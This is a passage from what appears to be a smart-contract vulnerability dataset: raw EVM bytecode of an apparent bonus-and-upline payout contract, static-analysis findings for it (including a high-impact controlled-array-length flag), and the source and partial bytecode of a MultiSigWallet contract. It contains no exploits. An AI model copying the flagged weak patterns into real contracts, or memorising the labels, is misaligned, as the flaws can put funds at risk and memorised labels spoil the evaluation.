117db938501929190910190613c13565b5061014082015180516117f891600a840191602090910190613c13565b506101609190910151600b918201556007546000908152600a60209081526040822080546001600160a01b0319163317905560018252919091527f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5cf5484141561186357506001611867565b5060025b3360008181526009602081815260408084206005018690558b8452600a808352818520546001600160a01b03908116865284845282862085018054600181810183559188528588200180546001600160a01b03199081168a179091558e885283865284882054909216875294845291852001805493840181558452908320909101805490911683179055906118fc9034611c55565b90506119083334612aed565b611911336124b5565b61191b8134612dad565b336000908152600d602052604081205461193c90349063ffffffff61339d16565b600080546040519293506001600160a01b03169183156108fc0291849190818181858888f193505050506119b7576040805162461bcd60e51b815260206004820152601f60248201527f627265616b61676520616d6f756e74207472616e73666572206661696c656400604482015290519081900360640190fd5b600080546001600160a01b03168152600960205260409020600601546119e3908263ffffffff611bfb16565b600080546001600160a01b039081168252600960209081526040808420600601949094558b8352600a8152918390205483513481529283018790524283850152925192169133917f2ae8c71954c0a6dd177c70188e7dc4e4cef7c3083fed63c13b39c7bd75e2bde5919081900360600190a3336000818152600e60205260409020547fc0fe2184709185423c6dc8829e91b2270e906dbb37f243cfd56654d1eca1ef5d90611a97908463ffffffff611bfb16565b604080519182524260208301528051918290030190a250600198975050505050505050565b60045481565b600b6020526000908152604090205481565b600080546001600160a01b03163314611b20576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b60008211611b5f5760405162461bcd60e51b8152600401808060200182810382526032815260200180613cdd6032913960400191505060405180910390fd5b50600555600190565b60025481565b6001600160a01b03166000908152600960205260409020600b015490565b6000546001600160a01b031681565b600082611baa57506000610b15565b82820282848281611bb757fe5b0414611bf45760405162461bcd60e51b8152600401808060200182810382526021815260200180613d326021913960400191505060405180910390fd5b9392505050565b600082820183811015611bf4576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b336000818152600c60209081526040808320839055600d8252808320839055600e82528083208390558051838152808301808352948452600f909252822090519192611ca092613c13565b50611ca9613c78565b6001600160a01b038085166000908152600960209081526040808320600201548352600a909152902054611cdd91166133fa565b6001600160a01b03168152611d45600a600060098185815b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002060020154815260200190815260200160002060009054906101000a90046001600160a01b03166133fa565b6001600160a01b03166020820152611d65600a6000600981856001611cf5565b6001600160a01b03166040820152611d85600a6000600981856002611cf5565b6001600160a01b03166060820152611da5600a6000600981856003611cf5565b6001600160a01b03166080820152611dc5600a6000600981856004611cf5565b6001600160a01b031660a0820152611de5600a6000600981856005611cf5565b6001600160a01b031660c0820152611e05600a6000600981856006611cf5565b6001600160a01b031660e082015260005b6008811015611e8c576000828260088110611e2d57fe5b60200201516001600160a01b03161415611e84576001600052600a602052600080516020613d9c833981519152546001600160a01b0316828260088110611e7057fe5b6001600160a01b0390921660209290920201525b600101611e16565b506000611ec068056bc75e2d63100000611eb486676f05b59d3b20000063ffffffff611b9b16565b9063ffffffff6135c916565b905060005b6008811015612240576001600052600a602052600080516020613d9c833981519152546001600160a01b0316838260088110611efd57fe5b60200201516001600160a01b031614156120f1576000611f34611f2760088463ffffffff61339d16565b849063ffffffff611b9b16565b9050838260088110611f4257fe5b60200201516001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050611fb1576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b611ffc8160096000878660088110611fc557fe5b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002060060154611bfb90919063ffffffff16565b6009600086856008811061200c57fe5b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002060060181905550612083816009600087866008811061204c57fe5b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002060070154611bfb90919063ffffffff16565b6009600086856008811061209357fe5b602090810291909101516001600160a01b03168252818101929092526040908101600090812060070193909355338352600d9091529020546120db908263ffffffff611bfb16565b336000908152600d602052604090205550612240565b8281600881106120fd57fe5b60200201516001600160a01b03166108fc839081150290604051600060405180830381858888f1935050505061216c576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6121808260096000868560088110611fc557fe5b6009600085846008811061219057fe5b60200201516001600160a01b03166001600160a01b03168152602001908152602001600020600601819055506121d0826009600086856008811061204c57fe5b600960008584600881106121e057fe5b602090810291909101516001600160a01b03168252818101929092526040908101600090812060070193909355338352600d909152902054612228908363ffffffff611bfb16565b336000908152600d6020526040902055600101611ec5565b50336000908152600c60205260409020546122829061226690839063ffffffff611b9b16565b336000908152600e60205260409020549063ffffffff611bfb16565b336000908152600e6020908152604080832093909355600f905290812080546001600160a01b038816927ff71767886789fef1c1dfcd5ca835c95fd8d77c1572515a6750304875caa4927492916122d557fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b0390921691600190811061230957fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b0390921691600290811061233d57fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b0390921691600390811061237157fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b039092169160049081106123a557fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b039092169160059081106123d957fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b0390921691600690811061240d57fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b0390921691600790811061244157fe5b60009182526020918290200154604080516001600160a01b039a8b168152988a16928901929092529588168782015293871660608701529186166080860152851660a0850152841660c0840152921660e082015261010081018590529051908190036101200190a25060e001519392505050565b6001600160a01b038082166000908152600960209081526040808320600201548352600a909152812054909116908161250e576001600052600a602052600080516020613d9c833981519152546001600160a01b031691505b60408051600080825260208083018085526001600160a01b03871683526010909152929020905161253f9290613c13565b504261258361255b600454600354611bfb90919063ffffffff16565b6001600160a01b0385166000908152600960205260409020600b01549063ffffffff611bfb16565b1080156125ac57506001600160a01b03821660009081526009602052604090206008015460ff16155b156125d8576001600160a01b0382166000908152600960205260409020600801805460ff191660011790555b6001600052600a602052600080516020613d9c833981519152546001600160a01b0383811691161461263e576001600160a01b038083166000908152600960209081526040808320600201548352600a90915281205461263c928592911690613633565b505b6001600160a01b0382166000908152601060205260409020541580159061267f57506001600160a01b03821660009081526009602052604090206007015415155b15612ae8576005546001600160a01b0383166000908152600960205260409020600701546126ce9190611eb49068056bc75e2d6310000090829068015af1d78b58c4000063ffffffff611b9b16565b90508015612ae85760005b6001600160a01b038316600090815260106020526040902054811015612884576001600160a01b038316600090815260106020526040902080548290811061271d57fe5b60009182526020822001546040516001600160a01b039091169184156108fc02918591818181858888f19350505050612799576040805162461bcd60e51b81526020600482015260196024820152781d1c985b9cd9995c8818d85c88189bdb9d5cc819985a5b1959603a1b604482015290519081900360640190fd5b6001600160a01b038316600090815260106020526040812080546127fa928592600992869081106127c657fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600601549063ffffffff611bfb16565b6001600160a01b0384166000908152601060205260408120805460099291908590811061282357fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812060060193909355338352600d90915290205461286c908363ffffffff611bfb16565b336000908152600d60205260409020556001016126d9565b506005546001600160a01b03831660009081526010602052604090205414612a18576001600160a01b0382166000908152601060205260408120546005546128d19163ffffffff61339d16565b90508015612a16576000546001600160a01b03166108fc6128f8848463ffffffff611b9b16565b6040518115909202916000818181858888f1935050505061295c576040805162461bcd60e51b81526020600482015260196024820152781d1c985b9cd9995c8818d85c88189bdb9d5cc819985a5b1959603a1b604482015290519081900360640190fd5b61299761296f838363ffffffff611b9b16565b600080546001600160a01b03168152600960205260409020600601549063ffffffff611bfb16565b600080546001600160a01b03168152600960205260409020600601556129c6612266838363ffffffff611b9b16565b336000908152600e6020526040902055612a056129e9838363ffffffff611b9b16565b336000908152600d60205260409020549063ffffffff611bfb16565b336000908152600d60205260409020555b505b826001600160a01b03167f17e43ff2499166faa6856417d0ec7737c89e1a5debc71785fa777d4bc40cc69f8360106000866001600160a01b03166001600160a01b031681526020019081526020016000208460405180846001600160a01b03166001600160a01b03168152602001806020018381526020018281038252848181548152602001915080548015612ad757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612ab9575b505094505050505060405180910390a25b505050565b6001600160a01b038083166000908152600960209081526040808320600401548352600a90915281205490911690612b4068056bc75e2d63100000611eb48567a688906bd8b0000063ffffffff611b9b16565b90506001600160a01b038216612b76576001600052600a602052600080516020613d9c833981519152546001600160a01b031691505b42612b9161255b600454600354611bfb90919063ffffffff16565b108015612bba57506001600160a01b03821660009081526009602052604090206008015460ff16155b15612be6576001600160a01b0382166000908152600960205260409020600801805460ff191660011790555b6001600160a01b03821660009081526009602052604090206008015460ff1615612c19576000546001600160a01b031691505b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050612c81576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6001600160a01b038216600090815260096020526040902060060154612cad908263ffffffff611bfb16565b6001600160a01b038316600090815260096020908152604080832060060193909355338252600d90522054612ce8908263ffffffff611bfb16565b336000908152600d60209081526040808320939093556001600160a01b03878116835260098252838320600401548352600a90915291902054838216911614612d6057336000908152600e6020526040902054612d4b908263ffffffff611bfb16565b336000908152600e6020526040902055612da7565b604080516001600160a01b038481168252602082018490528251908716927f328838ddfc48ad5ae5531b1ad95dfb22b42ff1866853e474375ffef2c63d8e50928290030190a25b50505050565b612db5613c97565b604080516000808252602080830180855233835260119091529290209051612ddd9290613c13565b506040805160008082526020808301808552338352600f9091529290209051612e069290613c13565b50336000908152601160209081526040808320600080516020613d9c83398151915254815460018101835591855283852090910180546001600160a01b0319166001600160a01b03928316179055868116845260098352818420600201548452600a90925290912054600654612ef7929190911690612e8e906207a12063ffffffff611b9b16565b3360009081526011602090815260409182902080548351818402810184019094528084529091830182828015612eed57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612ecf575b505050505061373c565b6001600160a01b0390811682523360009081526011602090815260408083208551815460018101835591855283852090910180546001600160a01b031916918616919091179055868416835260098252808320600201548352600a909152902054600654612f71929190911690612e8e9062030d40611b9b565b6001600160a01b0390811660208084019182526001600052600a9052600080516020613d9c833981519152549051821691161415612fba5780516001600160a01b031660208201525b33600090815260116020908152604080832084830151815460018101835591855283852090910180546001600160a01b0319166001600160a01b03928316179055868116845260098352818420600201548452600a9092529091205460065461302f929190911690612e8e90620186a0611b9b565b6001600160a01b03908116604083019081526001600052600a602052600080516020613d9c83398151915254905182169116141561307b5760208101516001600160a01b031660408201525b33600090815260116020908152604080832084820151815460018101835591855283852090910180546001600160a01b0319166001600160a01b03928316179055868116845260098352818420600201548452600a909252909120546006546130ef929190911690612e8e90614e20611b9b565b6001600160a01b03908116606083019081526001600052600a602052600080516020613d9c83398151915254905182169116141561313b5760408101516001600160a01b031660608201525b600061316268056bc75e2d63100000611eb485671bc16d674ec8000063ffffffff611b9b16565b905060005b600481101561326f5782816004811061317c57fe5b60200201516001600160a01b03166108fc839081150290604051600060405180830381858888f193505050506131eb576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6131ff8260096000868560048110611fc557fe5b6009600085846004811061320f57fe5b602090810291909101516001600160a01b03168252818101929092526040908101600090812060060193909355338352600d909152902054613257908363ffffffff611bfb16565b336000908152600d6020526040902055600101613167565b50336000818152600f6020526040812080547fb2473c365dfb29ac6b189527f45281bd2096b5c3e9fdcd22594084cf77fab0579392906132ab57fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b039092169160019081106132df57fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b0390921691600290811061331357fe5b6000918252602080832090910154338352600f909152604090912080546001600160a01b0390921691600390811061334757fe5b60009182526020918290200154604080516001600160a01b039788168152958716928601929092529285168482015290841660608401529216608082015260a0810184905290519081900360c00190a150505050565b6000828211156133f4576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b03811660009081526009602052604081205460ff166134865750336000908152600c6020908152604080832080546001908101909155600f8352908320805480830182559084528284200180546001600160a01b0319166001600160a01b03868116919091179091559252600a9052600080516020613d9c8339815191525416610b3b565b6004546001600160a01b0383166000908152600960205260409020600b015442916134b7919063ffffffff611bfb16565b101580156134e157506001600160a01b03821660009081526009602052604090206008015460ff16155b156135255750336000908152600f602090815260408220805460018101825590835291200180546001600160a01b0319166001600160a01b03831617905580610b3b565b4261354061255b600454600354611bfb90919063ffffffff16565b10801561356957506001600160a01b03821660009081526009602052604090206008015460ff16155b15613595576001600160a01b0382166000908152600960205260409020600801805460ff191660011790555b6001600160a01b038083166000908152600960209081526040808320600201548352600a909152902054610b1591166133fa565b600080821161361f576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161362a57fe5b04949350505050565b6001600160a01b0382166000908152600960205260408120600a015481906136629085908390600019016139e4565b9050600181106136ab576001600160a01b0385811660009081526010602090815260408220805460018101825590835291200180546001600160a01b0319169186169190911790555b6001600052600a602052600080516020613d9c833981519152546001600160a01b03858116911614156136e2576001915050611bf4565b6005546001909301928314156136fc576001915050611bf4565b6001600160a01b038085166000908152600960209081526040808320600201548352600a9091529020546137339187911685613633565b95945050505050565b6000805b82518110156137e75782818151811061375557fe5b60200260200101516001600160a01b0316856001600160a01b03161480156137a257506001600052600a602052600080516020613d9c833981519152546001600160a01b03868116911614155b156137df576001600160a01b038086166000908152600960209081526040808320600201548352600a9091529020546137dd9116858561373c565b505b600101613740565b506001600160a01b03841660009081526009602052604090205460ff166138645750336000908152600f6020908152604082208054600180820183559184528284200180546001600160a01b0319166001600160a01b03888116919091179091559252600a9052600080516020613d9c8339815191525416611bf4565b6004546001600160a01b0385166000908152600960205260409020600b01544291613895919063ffffffff611bfb16565b101580156138be57506001600160a01b0384166000908152600960205260409020600501546002145b80156138e657506001600160a01b03841660009081526009602052604090206008015460ff16155b156139a6576001600160a01b0384166000908152600960205260408120600a01541561393a576001600160a01b0385166000908152600960205260408120600a015461393791879160001901613ae3565b90505b600481106139a4576001600160a01b03851660009081526009602052604090206006015484116139a4575050336000908152600f602090815260408220805460018101825590835291200180546001600160a01b0319166001600160a01b03851617905582611bf4565b505b6001600160a01b038085166000908152600960209081526040808320600201548352600a9091529020546139dc9116848461373c565b949350505050565b600042613a5860045460096000600960008a6001600160a01b03166001600160a01b03168152602001908152602001600020600a018781548110613a2457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600b01549063ffffffff611bfb16565b10158015613ab957506001600160a01b03841660009081526009602081905260408220600a01805491929185908110613a8d57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600501546002145b15613ac5576001909201915b81613ad1575081611bf4565b600019909101906139dc8484846139e4565b600042613b2360045460096000600960008a6001600160a01b03166001600160a01b03168152602001908152602001600020600a018781548110613a2457fe5b10158015613b8457506001600160a01b03841660009081526009602081905260408220600a01805491929185908110613b5857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600501546002145b15613b90576001909201915b81613b9c575081611bf4565b600019909101906139dc848484613ae3565b604051806101800160405280600015158152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581526020016060815260200160608152602001600081525090565b828054828255906000526020600020908101928215613c68579160200282015b82811115613c6857825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190613c33565b50613c74929150613cb5565b5090565b6040518061010001604052806008906020820280388339509192915050565b60405180608001604052806004906020820280388339509192915050565b613cd991905b80821115613c745780546001600160a01b0319168155600101613cbb565b9056fe4d61746368696e67426f6e757355706c696e654c696d6974206d7573742062652067726561746572207468616e207a65726f5f7573645072696365206d7573742062652067726561746572207468616e207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775f6e657741646d696e57616c6c6574206d757374206e6f74206265207a65726f2077616c6c65747573645072696365206d7573742062652067726561746572207468616e207a65726fbbc70db1b6c7afd11e79c0fb0051300458f1a3acb8ee9789d9b6b26c61ad9bc7a265627a7a723158207fb884d05b2f08e59ab46a84fcb8dfc1327d8d3a0cb12220e0d3e11c111fc42264736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,442
0x74ab65deb40807496842e4d7cbe998377f52e28a
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cae565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cce565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfd565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d91565b005b341561036957600080fd5b61037f6004808035906020019091905050610f99565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611081565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611150565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e16111ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611241565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f260048080359060200190919050506113a2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115d3565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115d9565b005b34156106a157600080fd5b6106b76004808035906020019091905050611696565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611877565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b610765611897565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e61189c565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a2565b005b341561080757600080fd5b61081d6004808035906020019091905050611bc0565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611fe8565b506003805490506004541115610ab757610ab66003805490506115d9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610bf657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906